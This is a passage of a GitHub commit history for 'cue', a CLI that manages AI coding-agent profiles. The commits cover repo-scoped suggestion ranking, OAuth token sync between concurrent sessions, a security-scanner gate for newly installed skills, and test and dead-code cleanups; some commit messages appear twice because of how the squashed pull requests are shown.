Backward compatible on both ends: an unattributed row (written before cwd was
recorded) never claims the current directory, and a caller that passes no scope
keeps the exact score and wording it had before.

* feat(picker): scope pair affinity to the repo you launch in

growStack grafts your top historical partner onto every suggested stack, and it
does so with no reason line of its own - the profile just appears in the card.
That partner came from a global affinity map mined across every project, so a
pairing learned in one repo rode silently into the suggestions of an unrelated
one: open an API repo and backend+medusa-dev showed up because that is how you
work in a shop repo.

computeAffinityMap now takes an optional repo scope, and launch builds the
picker's partner map from the scoped one. Cross-repo habits still surface, but
only through channels that say where they came from - universalSuggestions, and
`cue suggest-pairs`, which now splits its table into pairings made here and
pairings made in other projects.

The scope predicate moves to lib/repo-scope, shared with combo-history so the
two history readers cannot drift into different notions of "here". Unscoped
callers - the universal-suggestion frequency pass, the dashboard - are
unchanged, and rows with no recorded directory are excluded under a scope
rather than credited to whichever repo happens to be open.

* feat(picker): scope Recent by repository, not by path prefix

Recent was the last suggestion source still scoping by raw downward path
prefix, which the previous two rounds turned into an inconsistency: launch in
packages/core and cue would show you the stacks and pairings confirmed at the
repo root, but none of the sessions. The prefix rule cannot match a parent
path, so scoped Recent came back empty and launch silently fell back to the
global list - handing that subdirectory the profiles you use in other projects.

computeStats now takes the same repo scope as the other two readers, so all
three agree on what "here" means. The reason line becomes "last used in this
repo", which is what it now measures.

This path had no test coverage at all; it now has five, including the
subdirectory case that was broken and the outside-a-repository fallback.

* fix(picker): rank suggested stacks by what you actually launch here

Three defects made the card lead with a stack the user had never launched.

1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with
   five or more sessions scored exactly 50 - a stack launched 112 times in this
   repo tied with one launched five times, and the card's headline was decided
   by the alphabetical tie-break. Replaced with a logarithmic bonus: every
   doubling of use adds a fixed step, calibrated so the five-session case lands
   where it did before and everything above it keeps climbing.

2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a
   four-part recent became a three-part stack that was never launched, captioned
   with the four-part stack's session count. Recollections are now shown as
   launched: conflicts still resolve, but no companions are bolted on and no
   parts are dropped. The cap still applies to stacks this module proposes.

3. First-write-wins dedup. Sources are scanned in a fixed order but are no
   longer ranked by it, so a foreign combo used 4x claimed the part-set and
   permanently suppressed the recent used 112x here. Dedup now keeps the
   best-scoring claim; ties keep the incumbent, preserving origin order where
   scores don't separate.

Measured in this repo, top suggestion before and after:
  before: career+skill-writer+core   (truncated from a 4-part stack, 5 sessions)
  after:  core+skill-writer          (112 sessions here)

* fix(suggest): score skills on what the user actually said

`cue suggest` recommended a wedding-invitations skill because "date" appeared
195 times, and rated everything at confidence 1.00. Four compounding faults.

Counting the wrong text. It scanned raw transcript JSONL, so assistant prose,
tool names, tool output and file contents all counted as things the user
"mentioned" - "read" scored 798x because that is the Read tool. Only user text
parts are read now; tool_result parts arrive under role "user" too and are
excluded.

Substring matching. `indexOf` found "ops" inside "operations" and "and" inside
"command". Matching is now whole-word, via a single tokenizing pass that also
replaces a per-keyword regex compiled over megabytes of text - the command went
from seconds to ~0.2s end to end.

No stopword filter. Every SKILL.md description opens with "Use this when the
user asks...", so "use", "when" and "user" became keywords for the entire
catalogue. Filtered now, along with transcript-structure words, and the
remaining keywords are weighted by catalogue-wide rarity: a stopword list only
knows what is common in English, not that "mcp" appears in hundreds of these
skills and separates none of them.

Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill,
so the printed number carried no information and the ranking was arbitrary.
Score is now the strongest few signals - summing every match rewarded a long
description over a relevant one - on an asymptotic curve calibrated against a
real 355-candidate run. Measured confidence spread over this repo's
transcripts: p10 0.32, p50 0.54, max 0.72.

The reason line is computed from the same frequency map as the score, so it can
no longer name a keyword that never contributed - which is how "and" came to be
cited 8044 times.

* fix(auth): keep concurrent sessions from revoking each other's tokens

Anthropic's OAuth rotates the refresh token on every refresh, and cue gives
each profile runtime its own copy of .credentials.json. Two sessions on
different profiles therefore hold two copies of one token: whichever refreshes
first silently revokes the other, which then hits a login prompt mid-session.
Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens,
114 of 117 access tokens expired.

Sharing one file via symlink is the obvious fix and does not work: Claude Code
rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink
with a regular file on the first refresh. Observable in any authmux runtime,
where cue symlinks .claude.json and every one has since become a plain file
while its neighbours (projects/, agents/) are still links.

So the sessions have to talk instead. cue already published a rotation to the
owning account dir on exit, which is too late - by then the sibling has already
been dropped. A live session now reconciles once a minute for as long as it
runs: it republishes its own rotation, and adopts anyone else's.

pullFreshestToRuntime is the missing inbound direction, gated on matching
accountUuid so alternating accounts can't hand each other tokens, and on
strictly newer expiresAt so two reconcilers settle rather than trading the file
back and forth. Polling rather than watching is deliberate: the same atomic
rename that defeats symlinks also breaks an inode watch.

* fix(auth): read the default account's identity where Claude Code keeps it

The rotation heal added in ae59ebf never ran for the default account. Every
direction in credentials-sync is gated on a known accountUuid, and
readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR
set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves
~/.claude/.claude.json a settings-only stub - so the default account read as
unknown and all three heals silently no-op'd: no candidates to sync from, no
publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh
tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug
hid because authmux account dirs DO carry identity in-dir, so they worked.

The basename gate keeps the fallback off those account dirs and off runtime
dirs, which all carry identity in-dir - a stray sibling .claude.json must
never be read as an account's identity or two accounts could trade tokens.

Second path to the same symptom: overlaySourceState copied .credentials.json
unconditionally, with none of the expiresAt comparison the rebuild path does.
It runs on every cache-hit launch, and cue sync / cue install resolve their
source with healFromRuntime: false - so one bulk sync could stamp a dead token
over every runtime at once. It now keeps whichever side is newer, scoped to a
single account so a deliberate account switch still re-seeds wholesale.

Last, the reconcile cadence. Copies of a blob share one expiresAt, so
concurrent sessions reach expiry together and refresh within moments of each
other; only the first rotation survives. A flat 60s poll cannot help when the
contended window is seconds wide, so the cadence now tightens to 5s across
that window and idles at a minute elsewhere. This narrows the race and does
not close it: cue does not perform the refresh, Claude Code does in-process,
so there is no point at which cue can serialize the two callers.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(resolver): follow symlinked skill directories

A skill maintained in its own repo can be linked into the tree rather than
copied — browser/ego-browser now points at ~/Documents/ego-lite-linux, so the
Linux port's skill has exactly one source of truth instead of a hand-synced
duplicate that silently drifts.

walk() filtered category entries on dirent.isDirectory(), which is false for the
symlink itself, so the linked skill vanished from the index and `cue validate`
failed it as E3 SKILL_NOT_FOUND. Stat through symlinks; dangling links are
treated as absent. The materializer already symlinks skills, so this only makes
the read path agree with the write path.

Also register ego-browser in KNOWN_CLIS so the skill's Prerequisites section is
picked up by the CLI extractor.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(core): keep ego-browser loaded in every project

core declared browser/ego-browser, but the per-project loadout deferred it
everywhere no project signal matched — which is most projects, since the signal
set comes from package.json deps and framework detection and nothing there says
"browser". The declaration was real and the skill still never loaded.

Deferring it does not save a browser session; it sends the agent to MCP
round-trips or web fetch instead, which costs more than this skill's
frontmatter. So it joins the operational primitives in ALWAYS_KEEP, and the
matching slug set in profile-merge so a budgeted composite can't drop it either.

Verified on a neutral cwd with zero project signals: browser/ego-browser now
classifies full, where it previously landed in deferred.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(security): gate freshly-fetched skills through NVIDIA SkillSpector

Every path that lands a new skill on disk — `skills add`, `discover install`,
`marketplace install-skill` — now scans it before anything registers it to a
profile. SkillSpector covers 68 vulnerability patterns across 17 categories
(prompt injection, data exfiltration, supply chain, dangerous code via AST,
YARA, MCP tool poisoning) on top of cue's own SEC1-3 criticals.

Policy reads the report's `recommendation` rather than the exit code, so the
three verdicts stay distinguishable: DO_NOT_INSTALL blocks, CAUTION registers
with a visible warning, SAFE is quiet. `--allow-unsafe` overrides the block.

install-skill differs from the others on purpose: the files are already on disk
by the time it runs, so a block reports findings and exits non-zero rather than
deleting anything, leaving them for review.

When the scanner isn't installed the gate degrades to cue's own rules and says
so, rather than silently passing everything.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(materializer): stop unresolving the live runtime path mid-swap

Rematerializing did `rm -rf runtimeDir` and only then renamed the new tree into
place, so the live path stayed nonexistent for the whole recursive delete —
seconds, on a runtime carrying a plugin cache and a backup chain. A Claude Code
session already running against that profile resolves its hooks through exactly
that path, so every hook firing inside the gap died with "No such file or
directory" (observed 2026-08-03: nine Stop hooks at once, mid-session).

Move the old tree aside instead: the path is unresolvable only between two
renames, and the delete runs after the new runtime is live. The `.old-*` dir is
a sibling of the swap target, so it cannot cross a filesystem boundary and sits
one level below the root runtime-gc scans. Leftovers from a swap killed between
the renames are swept best-effort on the next materialize.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* refactor(picker): pull the shared visual primitives out of card and palette

The v2 card and the stack palette had grown their own copies of the same
drawing code. Both now hang off one set of primitives in picker/ui.ts, styled
after iOS grouped-inset lists: one rounded card per idea, uppercase muted
section headers instead of heavy rules, a filled pill for the single primary
action, circular selection marks instead of ASCII brackets, page dots for
"there is more to see here".

Everything in ui.ts is pure — no I/O, no TTY — and styleText is a no-op off a
TTY, so the tests assert on plain text.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* chore: integrity-protocol wording, tag hooks, two new profiles

Collects the remaining working-tree changes from prior sessions:

- resources/personas/integrity-protocol{,-compact}.md — wording pass
- resources/hooks/{tag-audit,liedetector-tag-density}.sh — confidence-tag
  density checks
- profiles/frontend-design, profiles/reverse-skill — two new profiles
- README.md, .cue.profile (cue's own pin: core -> core+skill-writer)

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(liedetector): one ~N% raster, a drift guard, and hook test coverage (#125)

The confidence protocol stated four different rules for the ~N% calibration
on yellow/orange tags. The always-on compact persona called it optional; the
skill called a bare [INFERRED] a protocol violation. So the rule that applied
depended on which source happened to be in context.

Settle on one: required, snapped to a 5-point raster (yellow ~50-85%, orange
~20-45%). The tiers no longer overlap each other or green. 14 steps rather
than a coarser ladder, because the number exists to order claims against each
other; not finer, because self-reported confidence is miscalibrated in
absolute terms and ~67% would read as a measurement that never happened.

liedetector-tag-density.sh gains an exact check for it: a yellow/orange tag
with no ~N%, or one off the raster, is now flagged. The two heuristics around
it stay heuristics; this one is a fact, since the protocol names the legal
values.

src/lib/integrity-ladder.test.ts is a drift guard. The raster lives in two
scripts that cannot import from each other -- the hook here, and the eval
grader in the resources/skills submodule, which also ships standalone via npx
to agents with no cue tree. The guard reads both definitions and asserts they
match, plus that all four prose sources state the same rule. Verified by
injecting a one-sided change and watching it fail.

src/lib/liedetector-hooks.test.ts is the first coverage under resources/hooks:
16 tests driving both Stop hooks through synthetic transcripts. Note the two
traps it documents -- transcript records must be compact JSON, and pointing
HOME at a temp dir breaks a wrapper-script python3, which silently turns every
"expects no output" assertion into a vacuous pass.

summon.test.ts: the mcp_status test pinned browser/lightpanda + core, and
1857088 (#121) dropped the lightpanda MCP from every profile that pinned it,
so it asserted a pairing that no longer existed. It now derives a live pairing
instead of hardcoding one, and fails loudly rather than skipping if none is
satisfiable.

README/llms.txt: 86 -> 87 profiles, which 062b40a left behind.

resources/skills: fast-forward the pointer onto opencue/skills#18, which
carries the matching grader change. e9e6657 is an ancestor, so nothing is
lost; the bump also closes a pre-existing 4-commit lag.

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(codex): share AuthMux login with Cue runtimes (#141)

Cause: Cue isolates CODEX_HOME per profile while AuthMux manages ~/.codex/auth.json.

Tested: bun test src/lib/codex-auth-sync.test.ts

Tested: bunx tsc --noEmit

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>

---------

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
NagyVikt added a commit that referenced this pull request Aug 11, 2026
* feat(picker): match every profile against the repo, not just the 19 with rules

The suggestion engine ranked profiles from five hand-maintained sources —
dependency rules, path conventions, combo history, recents, featured. Between
them they cover 19 of 85 profiles. The other 66 could only ever surface if the
user had launched them before, so a directory that genuinely wanted one had no
way to say so, and cycling past the third suggestion ran out of answers.

profile-match scores every profile's OWN vocabulary (name, description, skill
ids, MCP ids) against what the directory reveals about itself (dependencies,
languages, marker files, entry names). Coverage goes to 85/85 and the card's
tail keeps landing on something the repo justifies. Wired in as a new `matched`
origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32
strength but never outranks a detection, a confirmed combo, or something
launched in this very directory.

Four properties earned their place by being wrong first:

  Absolute strength, not relative to the run's best hit. Normalizing against
  the top scorer manufactures confidence from noise — a directory with nothing
  to say still produced a 1.00 "match", because the weakest signal present is
  still the strongest signal present. cue and gitguardex now correctly match
  nothing.

  Corroboration: a filename alone never carries a match. Every repo here has a
  CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace
  backed by an actual robot.urdf. Chasing each such word with the stopword list
  was a losing game; requiring one dependency, language, or marker hit ends the
  class.

  IDF weighting plus size damping, so `gstack` (70 terms, mentions everything)
  cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area.

  Both sides normalize through the same `tokenize`. Skipping it on the evidence
  side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" —
  they never met, silently. Same failure class as the bash/TS drift the hook
  guards against.

gstack itself goes to _featured.yaml rather than being made detectable, because
it structurally cannot be: it is a WORKFLOW profile, describing how you want to
work, and repo evidence only ever describes what the project IS. A .urdf says
robotics; nothing on disk says "role-routed engineering". It scored 0.27 at
rank #6 across the test repos; always-available is the honest mechanism.

Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs ->
nextj), which affected skill matching too; the df cut is skipped below 10
profiles, where it discarded every term shared by two and matched nothing; and
manifest metadata keys are filtered, so `requires-python` and `[urls] issues`
stop reading as dependencies named "research" and "linear".

Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable),
api-tester surfaces python + backend-base, kolarortopedia surfaces postgres +
supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(test): make cue handoff tests e2e, drop the global mock.module leak

src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...).
Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file
that installs it, so whenever this file landed in the same worker before
src/lib/handoff.test.ts, that file asserted against the stub instead of the
real formatHandoffForAgent. The stub emitted only the header and the task
summary, so exactly the four sections it omitted failed:

  Most useful skills / Also helpful / MCPs used / Notes

Green locally, red in CI, purely on file ordering.

Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp
dir instead. HANDOFFS_DIR is a module-level const baked from that env var at
import time, so a fresh child picks up the temp dir and no global state is
touched. Nothing is left to leak — this was the last mock.module in the repo.

Also stronger: the router now runs against the real lib rather than a stub.
10 -> 18 tests, covering the --json branches, --skills level parsing, the
--from default and the unknown-subcommand fallback.

Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs,
2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings.

* chore: delete 733 lines of verified dead code

Every deletion was re-verified by hand against a repo-wide fixed-string grep
(excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and
extensionless bin scripts) plus a within-file usage check. Dead code's tests
go with it — a test for dead code is also dead.

Whole files, referenced by nothing but their own test:
  src/lib/incremental-materialize.ts   81 (+112 test)
  src/lib/skill-compressor.ts          68 (+59 test)
  src/lib/webhooks.ts                  58 (+175 test)
  scripts/_test-ecc-materialize.ts     20  (referenced by nothing at all)

Functions with exactly one occurrence in the repo — their own definition:
  discover.ts buildGemBadgeSvg        196
  skill-deps.ts topologicalSort        61 (+18 test)

Stale docs:
  bin/README.md                        32  describes a `soul` CLI and a
                                           bin/cli/lib/ layout, neither of
                                           which exists

Deliberately NOT deleted, though a generated report flagged them — 28 of its
76 non-picker findings were false positives, and deleting them blind would
have broken the build:

  analytics.ts recordSkillUsage  called by resources/hooks/skill-fire-tracker.sh
  bin/cue-slug                   called by bin/cue-learnings (the report's own
                                 grep passed --include='*.sh', so the
                                 extensionless caller never matched)
  runtime-gc.ts                  imported by commands/gc.ts and launch.ts
  handoff.ts (all 4 exports)     imported by commands/handoff.ts
  kitty-image probeKittyTerminal,
  clearKittyImagesSequence,
  skill-deps parseDependencies,
  skill-router Router* types     used within their own file; only the `export`
                                 keyword is redundant, which is churn, not dead
                                 code
  cloud.ts:255 "dead" branch     reachable: `cue cloud push x` gives
                                 argv[2]="cloud" and falls to the default arm

Also left alone: the picker block (~1057 lines) while that migration is in
flight, and launch.ts's token-budget re-export shim (all five symbols are used
inside launch.ts, so it is an export->import rewrite worth zero lines).

Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip /
0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline).

* docs(dead-code): mark the report superseded, record the false-positive rate

28 of 76 non-picker findings were wrong. Record which ones and why, so the
next pass re-verifies instead of trusting the confidence column: a 'high'
rating only means the agent's grep came back empty, and those greps missed
shell hooks, extensionless bin scripts, dynamic imports, and string-keyed
command dispatch.

* feat(brief): hand the agent verified facts about the directory it launches in

A profile teaches the agent a domain. It cannot know that this repo runs on
bun rather than npm, that the tests are behind `just check`, or where the
entry point lives — so the agent guesses, and burns turns finding out.

`lib/project-brief` scans that off the filesystem and the launcher hands it
over: package manager (from the lockfile), the real test/build/lint/typecheck
commands (package.json scripts, Makefile, justfile, Cargo, pyproject),
entry points, layout, workspaces, data layer, what CI actually runs, and the
default branch. Verified only — nothing inferred, because a wrong fact costs
more than a missing one. `.env` values are never read; the scan notes only
that a committed `.env.example` exists.

Delivery is per process, deliberately NOT through the materialized memory
file: the runtime is keyed by profile and shared by every directory and every
parallel session using it, so repo-specific text there would leak across
projects and race between sessions. claude-code takes the brief inline via
`--append-system-prompt`; codex, which has no such flag, gets a per-cwd file
plus one *static* pointer line in AGENTS.md.

`cue brief` shows exactly what the agent receives. `--write` turns it into
`.cue/project.md`: a machine block that refreshes and a `## Notes` section
that never does — for the conventions no scanner can infer. `CUE_BRIEF=0`
opts out entirely.

Two bugs the real-repo smoke test caught, both fixed with tests: the layout
list sorted alphabetically and spent its budget on `action/ agentshield/…`
while cutting `src/`; and `--write` folded the notes back into the machine
block, duplicating them on every rewrite.

Tests: 33 new, driving the scanner through a stub probe (bun/pnpm/cargo/
python/go/monorepo fixtures, CI harvesting, caps, truncation, no-manifest
→ null, and an assertion that no `.env` is ever read), plus the brief-file
merge and the per-agent injection.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): let the model rerank profile matches, without ever waiting on it

Every failure the lexical matcher has is the same shape: a word means one thing
in a manifest and another in a profile description, and the fix is another
stopword. CLAUDE.md, @clack/core, requires-python, base-template each cost a
round of tuning, and the list is unbounded. A model reads the same evidence and
doesn't make that class of mistake. So: lexical proposes, the model judges.

This fits here in a way it did not fit the skill matcher. That hook runs on
every prompt and the prompt is always different, so an LLM call is a per-message
tax with a near-zero cache hit rate — which is why it ended up as an opt-in
`--deep` escalation. A repo's shape is stable for weeks. Keyed on the evidence
rather than the clock, the cache hits ~always and the model is consulted about
once per project. Measured: 9.8s cold, 0.124s warm.

The launch path still never waits. A warm entry is read in ~1ms; a cold one
serves the lexical answer immediately and spawns a detached process to fill the
cache for next time. Picker cost measured at 98ms warm, 45-74ms cold — the
model's 10 seconds are never on anyone's critical path.

claude-classifier extracts the spawn, the ephemeral CLAUDE_CONFIG_DIR isolation
and the credential copy-back out of skill-subset (477 -> 331 lines). That
machinery is subtle enough — the rotation race, the shared timeout budget across
the binary fallback — that a second copy would drift rather than stay honest.

`cue profile match [dir] --explain --deep` exists because the matcher's early
versions stayed wrong for as long as they did purely because nothing showed
which term caused a bad suggestion. It earned its keep within minutes: on a
small Python CLI it revealed "dependencies" named environment, intended,
operating, programming and topic — PyPI trove classifiers, read as packages by
the loose manifest scanner. Handed that same garbage, the model confidently
picked profiles about building cue itself. With the scanner fixed to skip `::`
lines it picks python + backend-base, which is right.

The scanner now also harvests inline dependency arrays (`dependencies = [...]`),
which are often the only place a pyproject declares anything real.

Verified live: agv_stack -> ros2 ("ROS 2 robot control, .urdf files, MRS
platform"); kolarortopedia -> backend + postgres, with the model correctly
dropping `vite` (matched on the vitest test runner) and `supabase` (matched on
the substring "postgre"). 2889 pass / 0 fail, tsc and lint clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(picker): scope remembered stacks to the repo you launch in

The combine suggestion engine remembered every stack globally: combo-history
rows carried no directory, so "you launched this stack 4x" counted launches
from every project at once. At SCORE_COMBO (50-65 with the count bonus) that
outranked the cwd-scoped recent (max 50), so a favourite stack from an
unrelated repo led the picker in a repo that had never seen it.

Rows now record the launch directory, and readCombos scopes them by repository
root - a launch inside packages/core still sees the stack confirmed at the repo
root above it. Stacks confirmed here score 60-75; stacks known only from other
repos drop to 31-40, below anything cwd-scoped, and say so in their reason.

Backward compatible on both ends: an unattributed row (written before cwd was
recorded) never claims the current directory, and a caller that passes no scope
keeps the exact score and wording it had before.

* feat(picker): scope pair affinity to the repo you launch in

growStack grafts your top historical partner onto every suggested stack, and it
does so with no reason line of its own - the profile just appears in the card.
That partner came from a global affinity map mined across every project, so a
pairing learned in one repo rode silently into the suggestions of an unrelated
one: open an API repo and backend+medusa-dev showed up because that is how you
work in a shop repo.

computeAffinityMap now takes an optional repo scope, and launch builds the
picker's partner map from the scoped one. Cross-repo habits still surface, but
only through channels that say where they came from - universalSuggestions, and
`cue suggest-pairs`, which now splits its table into pairings made here and
pairings made in other projects.

The scope predicate moves to lib/repo-scope, shared with combo-history so the
two history readers cannot drift into different notions of "here". Unscoped
callers - the universal-suggestion frequency pass, the dashboard - are
unchanged, and rows with no recorded directory are excluded under a scope
rather than credited to whichever repo happens to be open.

* feat(picker): scope Recent by repository, not by path prefix

Recent was the last suggestion source still scoping by raw downward path
prefix, which the previous two rounds turned into an inconsistency: launch in
packages/core and cue would show you the stacks and pairings confirmed at the
repo root, but none of the sessions. The prefix rule cannot match a parent
path, so scoped Recent came back empty and launch silently fell back to the
global list - handing that subdirectory the profiles you use in other projects.

computeStats now takes the same repo scope as the other two readers, so all
three agree on what "here" means. The reason line becomes "last used in this
repo", which is what it now measures.

This path had no test coverage at all; it now has five, including the
subdirectory case that was broken and the outside-a-repository fallback.

* fix(picker): rank suggested stacks by what you actually launch here

Three defects made the card lead with a stack the user had never launched.

1. Saturation. The usage bonus was `min(sessions, 5) * 2`, so everything with
   five or more sessions scored exactly 50 - a stack launched 112 times in this
   repo tied with one launched five times, and the card's headline was decided
   by the alphabetical tie-break. Replaced with a logarithmic bonus: every
   doubling of use adds a fixed step, calibrated so the five-session case lands
   where it did before and everything above it keeps climbing.

2. Truncation. A recalled stack was grown and then cut to MAX_STACK_PARTS, so a
   four-part recent became a three-part stack that was never launched, captioned
   with the four-part stack's session count. Recollections are now shown as
   launched: conflicts still resolve, but no companions are bolted on and no
   parts are dropped. The cap still applies to stacks this module proposes.

3. First-write-wins dedup. Sources are scanned in a fixed order but are no
   longer ranked by it, so a foreign combo used 4x claimed the part-set and
   permanently suppressed the recent used 112x here. Dedup now keeps the
   best-scoring claim; ties keep the incumbent, preserving origin order where
   scores don't separate.

Measured in this repo, top suggestion before and after:
  before: career+skill-writer+core   (truncated from a 4-part stack, 5 sessions)
  after:  core+skill-writer          (112 sessions here)

* fix(suggest): score skills on what the user actually said

`cue suggest` recommended a wedding-invitations skill because "date" appeared
195 times, and rated everything at confidence 1.00. Four compounding faults.

Counting the wrong text. It scanned raw transcript JSONL, so assistant prose,
tool names, tool output and file contents all counted as things the user
"mentioned" - "read" scored 798x because that is the Read tool. Only user text
parts are read now; tool_result parts arrive under role "user" too and are
excluded.

Substring matching. `indexOf` found "ops" inside "operations" and "and" inside
"command". Matching is now whole-word, via a single tokenizing pass that also
replaces a per-keyword regex compiled over megabytes of text - the command went
from seconds to ~0.2s end to end.

No stopword filter. Every SKILL.md description opens with "Use this when the
user asks...", so "use", "when" and "user" became keywords for the entire
catalogue. Filtered now, along with transcript-structure words, and the
remaining keywords are weighted by catalogue-wide rarity: a stopword list only
knows what is common in English, not that "mcp" appears in hundreds of these
skills and separates none of them.

Meaningless confidence. `min(1, mentions / 50)` reached 1.00 for every skill,
so the printed number carried no information and the ranking was arbitrary.
Score is now the strongest few signals - summing every match rewarded a long
description over a relevant one - on an asymptotic curve calibrated against a
real 355-candidate run. Measured confidence spread over this repo's
transcripts: p10 0.32, p50 0.54, max 0.72.

The reason line is computed from the same frequency map as the score, so it can
no longer name a keyword that never contributed - which is how "and" came to be
cited 8044 times.

* fix(auth): keep concurrent sessions from revoking each other's tokens

Anthropic's OAuth rotates the refresh token on every refresh, and cue gives
each profile runtime its own copy of .credentials.json. Two sessions on
different profiles therefore hold two copies of one token: whichever refreshes
first silently revokes the other, which then hits a login prompt mid-session.
Measured on a real machine - 121 runtime copies, 75 distinct refresh tokens,
114 of 117 access tokens expired.

Sharing one file via symlink is the obvious fix and does not work: Claude Code
rewrites .credentials.json atomically (tmp -> rename), which replaces a symlink
with a regular file on the first refresh. Observable in any authmux runtime,
where cue symlinks .claude.json and every one has since become a plain file
while its neighbours (projects/, agents/) are still links.

So the sessions have to talk instead. cue already published a rotation to the
owning account dir on exit, which is too late - by then the sibling has already
been dropped. A live session now reconciles once a minute for as long as it
runs: it republishes its own rotation, and adopts anyone else's.

pullFreshestToRuntime is the missing inbound direction, gated on matching
accountUuid so alternating accounts can't hand each other tokens, and on
strictly newer expiresAt so two reconcilers settle rather than trading the file
back and forth. Polling rather than watching is deliberate: the same atomic
rename that defeats symlinks also breaks an inode watch.

* fix(auth): read the default account's identity where Claude Code keeps it

The rotation heal added in ae59ebf never ran for the default account. Every
direction in credentials-sync is gated on a known accountUuid, and
readAccountUuid looked only at <dir>/.claude.json. With no CLAUDE_CONFIG_DIR
set, Claude Code keeps oauthAccount in the home-root ~/.claude.json and leaves
~/.claude/.claude.json a settings-only stub - so the default account read as
unknown and all three heals silently no-op'd: no candidates to sync from, no
publish to ~/.claude, no adopt out of it. Measured here: 76 distinct refresh
tokens across 123 runtimes, and 32 runtimes the heal could not see. The bug
hid because authmux account dirs DO carry identity in-dir, so they worked.

The basename gate keeps the fallback off those account dirs and off runtime
dirs, which all carry identity in-dir - a stray sibling .claude.json must
never be read as an account's identity or two accounts could trade tokens.

Second path to the same symptom: overlaySourceState copied .credentials.json
unconditionally, with none of the expiresAt comparison the rebuild path does.
It runs on every cache-hit launch, and cue sync / cue install resolve their
source with healFromRuntime: false - so one bulk sync could stamp a dead token
over every runtime at once. It now keeps whichever side is newer, scoped to a
single account so a deliberate account switch still re-seeds wholesale.

Last, the reconcile cadence. Copies of a blob share one expiresAt, so
concurrent sessions reach expiry together and refresh within moments of each
other; only the first rotation survives. A flat 60s poll cannot help when the
contended window is seconds wide, so the cadence now tightens to 5s across
that window and idles at a minute elsewhere. This narrows the race and does
not close it: cue does not perform the refresh, Claude Code does in-process,
so there is no point at which cue can serialize the two callers.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(resolver): follow symlinked skill directories

A skill maintained in its own repo can be linked into the tree rather than
copied — browser/ego-browser now points at ~/Documents/ego-lite-linux, so the
Linux port's skill has exactly one source of truth instead of a hand-synced
duplicate that silently drifts.

walk() filtered category entries on dirent.isDirectory(), which is false for the
symlink itself, so the linked skill vanished from the index and `cue validate`
failed it as E3 SKILL_NOT_FOUND. Stat through symlinks; dangling links are
treated as absent. The materializer already symlinks skills, so this only makes
the read path agree with the write path.

Also register ego-browser in KNOWN_CLIS so the skill's Prerequisites section is
picked up by the CLI extractor.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(core): keep ego-browser loaded in every project

core declared browser/ego-browser, but the per-project loadout deferred it
everywhere no project signal matched — which is most projects, since the signal
set comes from package.json deps and framework detection and nothing there says
"browser". The declaration was real and the skill still never loaded.

Deferring it does not save a browser session; it sends the agent to MCP
round-trips or web fetch instead, which costs more than this skill's
frontmatter. So it joins the operational primitives in ALWAYS_KEEP, and the
matching slug set in profile-merge so a budgeted composite can't drop it either.

Verified on a neutral cwd with zero project signals: browser/ego-browser now
classifies full, where it previously landed in deferred.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* feat(security): gate freshly-fetched skills through NVIDIA SkillSpector

Every path that lands a new skill on disk — `skills add`, `discover install`,
`marketplace install-skill` — now scans it before anything registers it to a
profile. SkillSpector covers 68 vulnerability patterns across 17 categories
(prompt injection, data exfiltration, supply chain, dangerous code via AST,
YARA, MCP tool poisoning) on top of cue's own SEC1-3 criticals.

Policy reads the report's `recommendation` rather than the exit code, so the
three verdicts stay distinguishable: DO_NOT_INSTALL blocks, CAUTION registers
with a visible warning, SAFE is quiet. `--allow-unsafe` overrides the block.

install-skill differs from the others on purpose: the files are already on disk
by the time it runs, so a block reports findings and exits non-zero rather than
deleting anything, leaving them for review.

When the scanner isn't installed the gate degrades to cue's own rules and says
so, rather than silently passing everything.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(materializer): stop unresolving the live runtime path mid-swap

Rematerializing did `rm -rf runtimeDir` and only then renamed the new tree into
place, so the live path stayed nonexistent for the whole recursive delete —
seconds, on a runtime carrying a plugin cache and a backup chain. A Claude Code
session already running against that profile resolves its hooks through exactly
